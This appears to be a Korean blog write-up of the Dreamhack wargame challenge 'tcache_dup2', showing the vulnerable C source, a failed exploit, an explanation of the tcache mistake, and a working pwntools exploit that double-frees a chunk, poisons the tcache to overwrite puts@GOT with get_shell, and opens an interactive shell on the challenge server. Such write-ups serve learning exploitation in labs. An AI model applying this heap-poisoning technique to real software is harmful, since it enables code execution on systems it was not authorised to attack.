소스코드 분석 & 보호기법 확인
#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> char *ptr[7]; void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); } void create_heap(int idx) { size_t size; if (idx >= 7) exit(0); printf("Size: "); scanf("%ld", &size); ptr[idx] = malloc(size); if (!ptr[idx]) exit(0); printf("Data: "); read(0, ptr[idx], size-1); } void modify_heap() { size_t size, idx; printf("idx: "); scanf("%ld", &idx); if (idx >= 7) exit(0); printf("Size: "); scanf("%ld", &size); if (size > 0x10) exit(0); printf("Data: "); read(0, ptr[idx], size); } void delete_heap() { size_t idx; printf("idx: "); scanf("%ld", &idx); if (idx >= 7) exit(0); if (!ptr[idx]) exit(0); free(ptr[idx]); } void get_shell() { system("/bin/sh"); } int main() { int idx; int i = 0; initialize(); while (1) { printf("1. Create heap\n"); printf("2. Modify heap\n"); printf("3. Delete heap\n"); printf("> "); scanf("%d", &idx); switch (idx) { case 1: create_heap(i); i++; break; case 2: modify_heap(); break; case 3: delete_heap(); break; default: break; } } }

heap chunk를 free할 때 pointer값은 초기화하지 않아 취약하다.
Exploit (실패)
from pwn import * p = remote('host3.dreamhack.games', 16710) #p = process('./tcache_dup2') vul_elf = ELF('./tcache_dup2') def create_heap(size,data): p.sendlineafter(b'> ',b'1') p.sendlineafter(b': ',size) p.sendafter(b': ',data) def modify_heap(idx,size,data): p.sendlineafter(b'> ',b'2') p.sendlineafter(b': ',idx) p.sendlineafter(b': ',size) p.sendafter(b': ',data) def delete_heap(idx): p.sendlineafter(b'> ',b'3') p.sendlineafter(b': ',idx) create_heap(b'32',b'a') delete_heap(b'0') # => free list: chunkA puts_GOT = vul_elf.got['puts'] modify_heap(b'0',b'16',p64(puts_GOT)) # => free list: chunkA -> puts_GOT create_heap(b'32',b'a') # => free list: puts_GOT get_shell = vul_elf.symbols['get_shell'] create_heap(b'32',p64(get_shell)) p.interactive()
문제점
modify_heap(b'0', b'16', p64(puts_GOT)) 을 통해 chunkA -> fd = puts_GOT으로 바꾸더라도,
tcache는 노드 1개인 상태임. (puts_GOT은 실제 두 번째 노드인 게 아니라 가짜 값일 뿐이게 됨.)
create_heap(b'32', b'a') 을 호출하면, tcache top(= chunkA)이 pop되면서 더 이상 tcache에 들어 있는 chunk가 없다.
해결책
free를 두 번 함으로써 노드가 실제로 두개가 있는 상태에서,
두번째 노드의 주소를 puts_GOT으로 바꿔야 한다.
Exploit (성공)
from pwn import * p = remote('host3.dreamhack.games', 16710) #p = process('./tcache_dup2') vul_elf = ELF('./tcache_dup2') def create_heap(size,data): p.sendlineafter(b'> ',b'1') p.sendlineafter(b': ',size) p.sendafter(b': ',data) def modify_heap(idx,size,data): p.sendlineafter(b'> ',b'2') p.sendlineafter(b': ',idx) p.sendlineafter(b': ',size) p.sendafter(b': ',data) def delete_heap(idx): p.sendlineafter(b'> ',b'3') p.sendlineafter(b': ',idx) create_heap(b'32',b'a') delete_heap(b'0') # => free list: chunkA modify_heap(b'0',b'16',b'a'*9) delete_heap(b'0') # => free list: chunkA -> chunkA puts_GOT = vul_elf.got['puts'] modify_heap(b'0',b'8',p64(puts_GOT)) # => free list: chunkA -> puts_GOT create_heap(b'32',b'a') # => free list: puts_GOT get_shell = vul_elf.symbols['get_shell'] create_heap(b'32',p64(get_shell)) p.interactive()

'보안 > Wargame' 카테고리의 다른 글
[System Hacking] cmd_center (0) | 2025.03.13 |
---|---|
[System Hacking] sint (0) | 2025.03.13 |
[System Hacking] tcache_dup (0) | 2025.03.07 |
[System Hacking] Tcache Poisoning (0) | 2025.02.13 |
[System Hacking] uaf_overwrite (0) | 2025.02.02 |